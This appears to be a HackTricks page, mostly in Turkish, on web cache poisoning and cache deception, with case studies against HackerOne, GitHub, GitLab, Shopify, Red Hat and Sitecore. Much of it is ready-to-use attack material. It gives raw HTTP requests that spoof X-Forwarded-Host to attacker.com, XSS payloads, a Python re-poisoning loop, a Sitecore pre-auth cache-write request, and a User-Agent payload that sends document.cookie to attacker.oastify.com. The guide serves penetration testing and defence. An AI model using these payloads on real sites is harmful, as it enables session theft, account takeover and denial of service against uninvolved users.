Cache Poisoning and Cache Deception

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Aradaki fark

web cache poisoning ve web cache deception arasındaki fark nedir?

  • In web cache poisoning, saldırgan uygulamanın cache’e bazı kötü amaçlı içerik depolamasına neden olur ve bu içerik cache’den diğer uygulama kullanıcılarına sunulur.
  • In web cache deception, saldırgan uygulamanın başka bir kullanıcıya ait hassas içeriği cache’e depolamasına neden olur ve saldırgan ardından bu içeriği cache’den alır.

Cache Poisoning

Cache poisoning, istemci tarafı cache’i manipüle ederek istemcilerin beklenmedik, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlanmasını hedefler. Etkinin boyutu, etkilenen sayfanın popülerliğine bağlıdır; çünkü kirlenmiş yanıt, cache’in kirli olduğu süre boyunca sayfayı ziyaret eden kullanıcılara sunulur.

Cache poisoning saldırısının yürütülmesi birkaç adımdan oluşur:

  1. Identification of Unkeyed Inputs: Bu, bir isteğin cache’e alınması için gerekli olmasa da sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdileri belirlemek önemlidir; çünkü cache’i manipüle etmek için sömürülebilirler.
  2. Exploitation of the Unkeyed Inputs: Unkeyed inputs belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın lehine olacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanabileceğinizi bulmaktır.
  3. Ensuring the Poisoned Response is Cached: Son adım, manipüle edilmiş yanıtın cache’e kaydedildiğinden emin olmaktır. Böylece cache zehirliyken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alır.

Keşif: HTTP headers’i kontrol et

Genellikle bir cevap cache’e depolandığında bunu belirten bir header olur; hangi header’lara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: HTTP Cache headers.

Keşif: Hata kodlarının cachelenmesi

Eğer bir cevabın cache’e alındığını düşünüyorsanız, kötü bir header ile istek göndermeyi deneyebilirsiniz; bu normalde status code 400 ile cevaplanmalıdır. Sonra isteğe normal şekilde erişmeyi deneyin; eğer cevap 400 status code ise, bunun zafiyetli olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).

You can find more options in:

Cache Poisoning to DoS

Ancak, bazı durumlarda bu tür status kodları cache’e alınmaz, dolayısıyla bu test güvenilir olmayabilir.

Keşif: Unkeyed inputs’ları belirleme ve değerlendirme

Sayfanın yanıtını değiştirebilecek parametreleri ve header’ları brute-force yapmak için Param Miner kullanabilirsiniz. Örneğin, bir sayfa X-Forwarded-For header’ını istemciye scripti oradan yüklemesini belirtmek için kullanıyor olabilir:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Back-end sunucudan zararlı bir yanıt tetikleme

Belirlediğiniz parametre/header ile bunun nasıl temizlendiğini ve header’ın cevaba nerede yansıdığını veya cevabı nasıl etkilediğini kontrol edin. Yine de suistimal edilebilir mi (bir XSS gerçekleştirmek veya sizin kontrolünüzdeki bir JS kodu yüklemek? bir DoS gerçekleştirmek?…)

Yanıtın önbelleğe alınmasını sağlama

Kötüye kullanılabilecek sayfayı, hangi parametre/header’ı kullanacağınızı ve bunu nasıl suistimal edeceğinizi belirledikten sonra sayfanın önbelleğe alınmasını sağlamalısınız. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir; birkaç saniye boyunca denemeniz gerekebilir.

Cevaptaki X-Cache header’ı çok kullanışlı olabilir; istek önbelleğe alınmadığında değeri miss, önbelleğe alındığında ise hit olabilir.
Cache-Control header’ı da bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki ne zaman tekrar önbelleğe alınacağını bilmek için ilginçtir: Cache-Control: public, max-age=1800

Bir başka ilginç header da Vary’dır. Bu header genellikle normalde anahtar olarak kullanılmayan ek header’ların cache anahtarının bir parçası olarak davranıldığını göstermek için kullanılır. Bu nedenle, saldırgan hedeflediği kurbana ait User-Agent’ı biliyorsa, o belirli User-Agent’ı kullanan kullanıcılar için cache’i zehirleyebilir.

Cache ile ilgili bir diğer header ise Age’dir. Bu header, objenin proxy önbelleğinde kaç saniyedir bulunduğunu tanımlar.

Bir isteği önbelleğe alırken kullandığınız header’lara dikkat edin; çünkü bazıları beklenmedik şekilde anahtar olarak kullanılabiliyor ve kurbanın aynı header’ı kullanması gerekecektir. Bir Cache Poisoning’i farklı tarayıcılarla her zaman test edin ki çalışıp çalışmadığını doğrulayabilesiniz.

Temel cache poisoning vaka çalışmaları

HackerOne’ın X-Forwarded-Host aracılığıyla global yönlendirmesi

  • Origin, X-Forwarded-Host ile şablonlanmış yönlendirmeler ve canonical URL’ler üretiyordu, ancak cache anahtarı yalnızca Host header’ını kullanıyordu; bu yüzden tek bir yanıt / ziyaretçilerinin tamamını zehirledi.
  • Şunu kullanarak zehirle:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Hemen spoofed header olmadan /’i yeniden isteyin; eğer redirect devam ediyorsa reflected redirects/Open Graph links’i sıklıkla stored issues’a yükselten global bir host-spoofing primitive’iniz var.

GitHub repository DoS ile Content-Type + PURGE

  • Anonim trafik sadece path’e göre anahtarlanıyordu; backend beklenmeyen bir Content-Type gördüğünde hata durumuna giriyordu. Bu hata yanıtı, bir repo’nun her unauthenticated kullanıcısı için cachelenebiliyordu.
  • GitHub ayrıca (kazara) PURGE verb’ünü işleme aldı; bu, attacker’ın sağlıklı bir entry’yi flush etmesine ve cache’leri isteğe bağlı olarak zehirlenmiş varyantı çekmeye zorlamasına izin veriyordu:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Her zaman kimlikli ile anonim önbellek anahtarlarını karşılaştırın, nadiren anahtarlanmış başlıkları (ör. Content-Type) fuzz edin ve re-poisoning’i otomatikleştirmek için açığa çıkmış önbellek bakım fiillerini araştırın.

Shopify hostlar arası kalıcılık döngüleri

  • Çok katmanlı önbellekler bazen yeni bir nesneyi kaydetmeden önce birden fazla aynı isteğe ihtiyaç duyar. Shopify aynı önbelleği birçok yerelleştirilmiş host arasında tekrar kullandı, bu yüzden kalıcılık birçok siteyi etkiledi.
  • Tekrarlı olarak yeniden tohumlamak için kısa otomasyon döngüleri kullanın:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Bir hit yanıtından sonra, aynı önbellek ad alanını paylaşan diğer hostları/varlıkları tarayarak alanlar arası etki kapsamını gösterin.

JS asset redirect → stored XSS chain

  • Özel programlar genellikle /assets/main.js gibi paylaşılan JS’leri onlarca alt alanda barındırır. Eğer X-Forwarded-Host bu varlıkların yönlendirme mantığını etkiliyor fakat önbellek anahtarına dahil edilmiyorsa, önbelleğe alınan yanıt saldırgan JS’e 301 yönlendirmesi olur ve varlığın import edildiği her yerde stored XSS ortaya çıkar.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Hangi hostların aynı asset path’i yeniden kullandığını haritalayın, böylece multi-subdomain compromise’ı kanıtlayabilirsiniz.

GitLab static DoS via X-HTTP-Method-Override

  • GitLab statik bundle’ları Google Cloud Storage’dan servis ediyordu; Google Cloud Storage X-HTTP-Method-Override’ı destekliyordu. GET’i HEAD’e çevirme, cachelenebilir bir 200 OK ile Content-Length: 0 döndürüyor ve edge cache anahtar oluştururken HTTP metodunu göz ardı ediyordu.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Tek bir istek, JS bundle’ı her GET için boş bir gövdeyle değiştirdi ve etkili olarak UI’yi DoSing yaptı. Statik varlıklara karşı method override’larını (X-HTTP-Method-Override, X-Method-Override, vb.) her zaman test edin ve önbelleğin metoda göre değişip değişmediğini doğrulayın.

HackerOne statik varlık döngüsü via X-Forwarded-Scheme

  • Rails’in Rack middleware’ı HTTPS’i zorlayıp zorlamayacağına karar vermek için X-Forwarded-Scheme’e güvendi. /static/logo.png için http taklidi yapmak önbelleğe alınabilir bir 301 tetikledi, böylece tüm kullanıcılar daha sonra varlık yerine yönlendirmeler (veya döngüler) aldı:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Mümkün olduğunda scheme spoofing ile host spoofing’i birleştirerek yüksek görünürlüğe sahip kaynaklar için geri döndürülemez yönlendirmeler oluşturun.

Cloudflare host-header büyük/küçük harf uyumsuzluğu

  • Cloudflare, cache anahtarları için Host başlığını normalize etti fakat ham harf düzenini origin’lere iletti. Host: TaRgEt.CoM göndermek, canonical lowercase cache bucket’ı doldurmaya devam ederken origin routing/templating’te farklı davranış tetikledi.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Mixed-case hosts (ve diğer normalized headers) yeniden oynatarak CDN tenant’larını listeleyin ve cached response ile origin response arasındaki diff’ini alarak shared-platform cache poisonings’i ortaya çıkarın.

Red Hat Open Graph meta poisoning

  • Open Graph etiketleri içine X-Forwarded-Host enjekte etmek, CDN sayfayı cachelediğinde reflected HTML injection’ı stored XSS’e dönüştürdü. Test sırasında production kullanıcılarına zarar vermemek için zararsız bir cache buster kullanın:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Sosyal medya scrapers önbelleğe alınmış Open Graph etiketlerini tüketir; bu yüzden tek bir zehirlenmiş giriş payload’u doğrudan ziyaretçilerin çok ötesine dağıtır.

Sömürme Örnekleri

En kolay örnek

X-Forwarded-For gibi bir header cevapta temizlenmeden yansıtılıyor.
Basit bir XSS payload’u gönderip önbelleği zehirleyerek sayfaya erişen herkesin XSSed olmasını sağlayabilirsiniz:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Bu /en?region=uk isteğini zehirleyecek, /en’i değil, unutmayın

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

Bu this writeup’de aşağıdaki basit senaryo açıklanıyor:

  • CDN, /share/ altındaki her şeyi cache’ler
  • CDN %2F..%2F’yi çözümlemez veya normalize etmez; bu nedenle path traversal olarak cache’lenecek diğer hassas konumlara erişmek için kullanılabilir, örneğin https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Web server %2F..%2F’yi çözer ve normalize eder; /api/auth/session ile cevap verir, bu da auth token içerir.

Cookies ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bunu bir XSS tetiklemek için kötüye kullanabilirseniz, kötü amaçlı cache yanıtını yükleyen çeşitli istemcilerde XSS’i istismar edebilirsiniz.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the zafiyetli cookie kullanıcılar tarafından çok kullanılıyorsa, normal requests cache’i temizleyecektir.

Ayırıcılar, normalizasyon ve noktalar ile tutarsızlıklar oluşturma

Check:

Cache Poisoning via URL discrepancies

Cache poisoning ile path traversal kullanarak API key çalma

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

This is also explained better in:

Cache Poisoning via URL discrepancies

Birden fazla header kullanarak web cache poisoning vulnerabilities’ı exploit etme

Bazen bir cache’i kötüye kullanabilmek için exploit several unkeyed inputs yapmanız gerekebilir. Örneğin, X-Forwarded-Host’u sizin kontrolünüzdeki bir domaine ve X-Forwarded-Scheme’i http olarak ayarlarsanız bir Open redirect bulabilirsiniz. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect, redirect’in nereye işaret edeceğini kontrol edebilirsiniz.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sınırlı Vary header ile istismar

Eğer X-Host başlığının JS kaynağını yüklemek için alan adı olarak kullanıldığını, ancak yanıtın Vary başlığının User-Agent gösterdiğini fark ettiyseniz. O zaman, kurbanın User-Agent’ını exfiltrate etmek ve o User-Agent’ı kullanarak cache’i poison etmek için bir yol bulmanız gerekir:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

GET isteğini URL’de ve body’de gönderin. Eğer web server body’dekini kullanıyor ama cache server URL’dekini cache’liyorsa, bu URL’ye erişen herkes aslında body’deki parametreyi kullanacaktır. James Kettle’in Github sitesinde bulduğu vuln gibi:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Burada, Cache Poisoning attacks by abusing HTTP Request Smuggling nasıl gerçekleştirileceğini öğrenin.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner web cache poisoning için otomatik test yapmakta kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilirdir.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Bu gerçek dünya deseninde, header tabanlı bir reflection primitive’ı CDN/WAF davranışıyla zincirlenerek diğer kullanıcılara sunulan önbelleğe alınmış HTML’in güvenilir şekilde poison edilmesine yol açar:

  • The main HTML reflected an untrusted request header (e.g., User-Agent) into executable context.
  • CDN, cache headers’ı kaldırıyordu ama bir internal/origin cache mevcuttu. CDN ayrıca statik uzantıyla biten istekleri (ör. .js) otomatik olarak cacheliyordu; WAF ise statik varlıklar için yapılan GET’lerde daha zayıf içerik denetimi uyguluyordu.
  • İstek akışı tuhaflıkları, bir .js yoluna yapılan isteğin sonraki ana HTML için kullanılan cache key/variant’ı etkilemesine izin veriyordu; bu da header reflection aracılığıyla kullanıcılar arası XSS’e imkan sağlıyordu.

Pratik tarif (popüler bir CDN/WAF üzerinde gözlemlendi):

  1. Temiz bir IP’den (önceki reputation-based downgrades’den kaçının), tarayıcı veya Burp Proxy Match & Replace ile kötü niyetli bir User-Agent ayarlayın.
  2. Burp Repeater’da iki isteklik bir grup hazırlayın ve “Send group in parallel” seçeneğini kullanın (single-packet mode en iyi sonucu verir):
  • İlk istek: Aynı origin’de bir .js kaynak yoluna GET yapın ve kötü niyetli User-Agent’inizi gönderin.
  • Hemen ardından: Ana sayfaya (/) GET yapın.
  1. CDN/WAF yönlendirme yarışı ile otomatik cachelenen .js, genellikle zehirlenmiş bir önbelleğe alınmış HTML varyantını seed eder ve bu, aynı cache key koşullarını paylaşan (ör. Vary boyutları gibi, örn. User-Agent) diğer ziyaretçilere sunulur.

Örnek header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operasyonel ipuçları:

  • Birçok CDN cache headers gizler; poisoning yalnızca saatler süren yenileme döngülerinde görünebilir. Rate-limit veya reputation tetikleyicilerinden kaçınmak için birden fazla vantage IP kullanın ve throttle uygulayın.
  • CDN’nin kendi cloud’undan bir IP kullanmak bazen routing tutarlılığını iyileştirir.
  • Eğer sıkı bir CSP mevcutsa, reflection main HTML context içinde çalıştırılıyorsa ve CSP inline execution’a izin veriyorsa veya context tarafından bypass ediliyorsa bu yine işe yarar.

Etkisi:

  • Oturum çerezleri HttpOnly değilse, zero-click ATO mümkündür; poisoned HTML sunulan tüm kullanıcılardan document.cookie’un mass-exfiltrating ile toplanması yoluyla.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Sitecore’e özgü bir desen, pre‑auth XAML handler’larını ve AjaxScriptManager reflection’ını kötüye kullanarak HtmlCache’e doğrulanmamış yazma işlemlerine izin verir. Sitecore.Shell.Xaml.WebControl handler’ına ulaşıldığında, xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) kullanılabilir hale gelir ve aşağıdaki reflective çağrıya izin verilir:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Bu, saldırgan tarafından seçilen bir cache key (anahtar) altında rastgele HTML yazar; cache key’ler bilindiğinde kesin cache poisoning yapılmasını sağlar.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Zafiyetli Örnekler

Apache Traffic Server (CVE-2021-27577)

ATS, URL içindeki fragment’ı temizlemeden iletti ve cache key’i yalnızca host, path ve query kullanarak oluşturdu (fragment’ı yok saydı). Bu yüzden istek /#/../?r=javascript:alert(1) backend’e aynı şekilde /#/../?r=javascript:alert(1) olarak gönderildi ve cache key payload içermiyordu; yalnızca host, path ve query vardı.

403 ve Storage Buckets

Cloudflare geçmişte 403 cevaplarını cache’liyordu. Yanlış Authorization header’ları ile S3 veya Azure Storage Blobs’a erişmeye çalışmak 403 cevabı ile sonuçlanıyor ve bu cevap cache’leniyordu. Cloudflare artık 403 cevaplarını cache’lemeyi durdurmuş olsa da, bu davranış diğer proxy servislerinde hâlâ mevcut olabilir.

Keyed Parametre Enjeksiyonu

Cache’ler genellikle belirli GET parametrelerini cache key’e dahil eder. Örneğin, Fastly’nin Varnish’i isteklerde size parametresini cache’liyordu. Ancak, parametrenin URL-encoded bir versiyonu (ör. siz%65) hatalı bir değerle birlikte gönderilirse, cache key doğru size parametresi kullanılarak oluşturulurdu. Buna karşın backend, URL-encoded parametredeki değeri işlerdi. İkinci size parametresinin URL-encoding yapılması, cache tarafından göz ardı edilmesine ama backend tarafından kullanılmasına yol açtı. Bu parametreye 0 değeri atandığında cache’lenebilir bir 400 Bad Request hatası oluştu.

User Agent Kuralları

Bazı geliştiriciler sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların user-agent’larıyla eşleşen istekleri engeller. İronik olarak, bu yaklaşım cache poisoning ve DoS gibi zafiyetlere yol açabilir.

Geçersiz Header Alanları

RFC7230 header isimlerinde kabul edilebilir karakterleri belirtir. Belirtilen tchar aralığı dışındaki karakterleri içeren header’lar idealde 400 Bad Request ile sonuçlanmalıdır. Pratikte sunucular her zaman bu standarda uymaz. Önemli bir örnek Akamai’dir: geçersiz karakterler içeren header’ları iletir ve cache-control header’ı yoksa herhangi bir 400 hatasını cache’ler. \ gibi yasadışı bir karakter içeren header göndermek cache’lenebilir bir 400 Bad Request hatası oluşturabilecek bir örüntü olarak tespit edildi.

Yeni header’ları bulma

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

Öncelikle şunu unutmayın: .css, .js, .png gibi extensions genellikle cache’e kaydedilecek şekilde yapılandırılır. Bu nedenle, www.example.com/profile.php/nonexistent.js adresine erişirseniz, cache muhtemelen yanıtı .js extension’ını gördüğü için saklayacaktır. Fakat uygulama _www.example.com/profile.php_ içinde depolanan kullanıcının hassas içeriğini döndürüyor ise, diğer kullanıcıların bu içeriklerini çalabilirsiniz.

Diğer test edilecek şeyler:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Başka çok net bir örnek bu write-up’ta bulunuyor: https://hackerone.com/reports/593712.
Örnekte, http://www.example.com/home.php/non-existent.css gibi mevcut olmayan bir sayfayı yüklerseniz, http://www.example.com/home.php (kullanıcının hassas bilgileriyle birlikte) döndürülecek ve cache sunucusu bu sonucu kaydedecektir.
Daha sonra saldırgan, http://www.example.com/home.php/non-existent.css adresine kendi tarayıcısından erişip daha önce erişen kullanıcıların gizli bilgilerini görebilir.

Not: cache proxy dosyaları dosyanın uzantısına (.css) göre cacheleyecek şekilde yapılandırılmış olmalıdır, content-type’a göre değil. Örnekte http://www.example.com/home.php/non-existent.css için text/html content-type olacaktır; text/css yerine.

Buradan nasıl yapılacağını öğrenin Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

Yüksek seviye fikir:

  • Bir hassas API endpoint’i özel bir auth header gerektirir ve origin tarafından doğru şekilde non-cacheable olarak işaretlenmiştir.
  • Statik görünen bir sonek eklemek (örneğin .css) CDN’in yolu statik bir varlık olarak değerlendirmesine ve yanıtı cache’lemesine neden olur; genellikle hassas header’lara göre varyasyon yapılmaz.
  • SPA’da CSPT bulunur: kullanıcı kontrollü bir yol segmentini API URL’sine eklerken mağdurun auth header’ını (örneğin X-Auth-Token) iliştirir. ../.. traversal enjekte edilerek, authenticated fetch cache’lenebilir yol varyantına (…/v1/token.css) yönlendirilir ve CDN mağdurun token JSON’ını ortak bir cache key altında cache’ler.
  • Ardından herkes aynı cache key’e authentication olmadan GET atarak mağdurun token’ını alabilir.

Örnek

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Statik görünen son ek CDN’i önbelleğe alınabilir yapar:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT SPA’da auth header ekler ve traversal’a izin verir:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Sömürü zinciri:
  1. Kurbanı, SPA path parametresine dot-segmentler enjekte eden bir URL’ye yönlendir, örn.:
  1. SPA authenticated fetch gerçekleştirir:
  1. Tarayıcı normalizasyonu bunu çözer ve şu hale getirir:
  1. CDN .css’i statik bir varlık olarak değerlendirir ve JSON’u Cache-Control: public, max-age=… ile önbelleğe alır.
  2. Herkese açık erişim: herkes ardından GET https://api.example.com/v1/token.css yapıp önbelleğe alınmış token JSON’ını elde edebilir.

Preconditions

  • SPA, aynı API origin’ine (veya çalışan CORS ile cross-origin) authenticated fetch/XHR yapar ve hassas header’lar veya bearer token’lar ekler.
  • Edge/CDN, statik görünen path’ler için uzantı-tabanlı caching uygular (örn. *.css, *.js, images) ve cache anahtarını hassas header’a göre varye etmez.
  • Base endpoint için origin önbelleğe alınamaz (doğru), ama uzantı-ekli varyant edge kuralları tarafından izin veriliyor veya engellenmiyor.

Validation checklist

  • Hassas dinamik endpoint’leri belirleyin ve .css, .js, .jpg, .json gibi suffix’leri deneyin. İçerik JSON kaldığı sürece Cache-Control: public/max-age ve X-Cache: Hit (veya eşdeğeri, örn. CF-Cache-Status) arayın.
  • Kullanıcı kontrollü girdiyi API path’lerine birleştiren client kodunu bulun ve auth header’lar eklenirken bu davranışı kontrol edin. Yetkilendirilmiş isteği hedef endpoint’inize yönlendirmek için ../ dizilimlerini enjekte edin.
  • Yeniden hedeflenen istekte authenticated header’ın bulunduğunu doğrulayın (örn. bir proxy’de veya sunucu tarafı log’larında) ve CDN’in yanıtı traverse edilen path altında önbelleğe aldığını teyit edin.
  • Yeni bir context’ten (auth yokken) aynı path’e istek yapın ve gizli JSON’un önbellekten sunulduğunu doğrulayın.

Automatic Tools

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
  • CacheDecepHound: Python scanner designed to detect Cache Deception vulnerabilities in web servers.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin